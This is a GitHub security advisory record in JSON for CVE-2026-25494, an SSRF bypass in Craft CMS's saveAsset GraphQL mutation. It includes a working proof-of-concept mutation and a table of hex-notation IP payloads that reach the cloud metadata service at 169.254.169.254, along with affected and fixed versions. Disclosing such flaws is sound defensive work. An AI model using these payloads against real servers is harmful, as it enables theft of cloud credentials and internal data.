CVE-2026-25494: Craftcms/cms Craft CMS Vulnerable To SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m5r2-8p9x-hp5m",
  "modified" : "2026-02-09T22:38:00Z",
  "published" : "2026-02-09T20:35:35Z",
  "aliases" : [ "CVE-2026-25494" ],
  "summary" : "Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation",
  "details" : "I observed a [recent commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.\n\n---\n## Summary\n\nThe `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.\n\n---\n## Proof of Concept\n1. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"http://169.254.0xa9fe/latest/meta-data/\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n2. The IP validation passes (hex notation not recognized as IP)\n3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254`\n4. Cloud metadata is fetched and saved\n\n### Alternative Payloads\n| Payload | Notation | Resolves To |\n|---------|----------|-------------|\n| `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 |\n| `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 |\n| `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |\n\n---\n## Technical Details\n\n**File:** `src/gql/resolvers/mutations/Asset.php`\n**Root Cause:** `filter_var($hostname, FILTER_VALIDATE_IP)` only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.\n\n```php\n// Line 287 - Fails to catch hex notation\nfilter_var($hostname, FILTER_VALIDATE_IP)\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0-RC1"
      }, {
        "fixed" : "5.8.22"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.8.21"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-RC1"
      }, {
        "fixed" : "4.16.18"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.16.17"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-m5r2-8p9x-hp5m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25494"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/commit/d49e93e5ba0c48939ce5eaa6cd9b4a990542d8b2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/cms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/releases/tag/4.16.18"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/releases/tag/5.8.22"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-09T20:35:35Z",
    "nvd_published_at" : "2026-02-09T20:15:57Z"
  }
}